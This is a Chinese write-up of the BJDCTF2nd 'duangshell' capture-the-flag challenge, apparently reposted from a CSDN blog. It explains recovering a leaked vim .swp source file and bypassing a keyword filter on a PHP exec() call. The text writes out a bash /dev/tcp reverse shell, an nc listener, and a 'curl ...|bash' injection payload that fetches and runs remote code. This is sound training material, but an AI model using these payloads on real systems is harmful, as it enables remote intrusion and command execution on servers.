[BJDCTF2nd_duangshell]
作者:互联网
知识点:
- nc命令反弹shell
进入题目:
首先题目中提示了.swp,应该是.swp源码泄露,然后试了试/index.php.swp毫无反应,看了wp之后才知道是/.index.php.swp。。。
访问http://xxx/.index.php.swp下载该文件
该文件产生的原因是:使用vi编辑器打开文件时,会生成一个.文件名.swp的备份文件,防止意外退出等情况导致文件内容丢失。产生原因主要是管理员在web目录下修改代码文件,导致生成了.swp备份文件。
然后下载下来,拖到kali里用命令vim -r index.php.swp恢复文件,然后按下任意键就可以看到其中的代码了。源码:
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}
看了看过滤,只过滤了cat,天真的我以为用tac就行了。。。结果事情远远没有这么简单,exec()函数是没有回显的,我还一直以为exec()和system()是一样的。
没有过滤nc和curl,而题目又是duang shell,可以知道这道题是让我们反弹shell。
启动MobaXterm
也可以用xshell和Linux Lab靶机回车创建连接,使用账号root密码123456登录
连接好之后先使用命令ifconfig看下靶机的ip或者用Linux Lab靶机链接的话:
SSH连接shell,因为这台机器已经搭建LAMP,我们直接道网站根目录/var/www/html建一个能反弹shell的文件1.txt。
cd /var/www/html
echo "bash -i >& /dev/tcp/174.1.90.119/2333 0>&1" > 1.txt
用nc命令监听我们设置的2333端口
nc -lvp 2333
最后让题目机执行靶机里1.txt的命令,我们传payload:
girl_friend=curl 174.1.90.119/1.txt|bash
可以看到连接上了,并且可以执行命令:
然后拿flag就行了
find / -name "*flag"
得知在/etc/demo/P3rh4ps/love/you/flag
cat /etc/demo/P3rh4ps/love/you/flag
标签:index,shell,BJDCTF2nd,duangshell,swp,girl,txt,friend 来源: https://blog.csdn.net/m0_53314778/article/details/114375444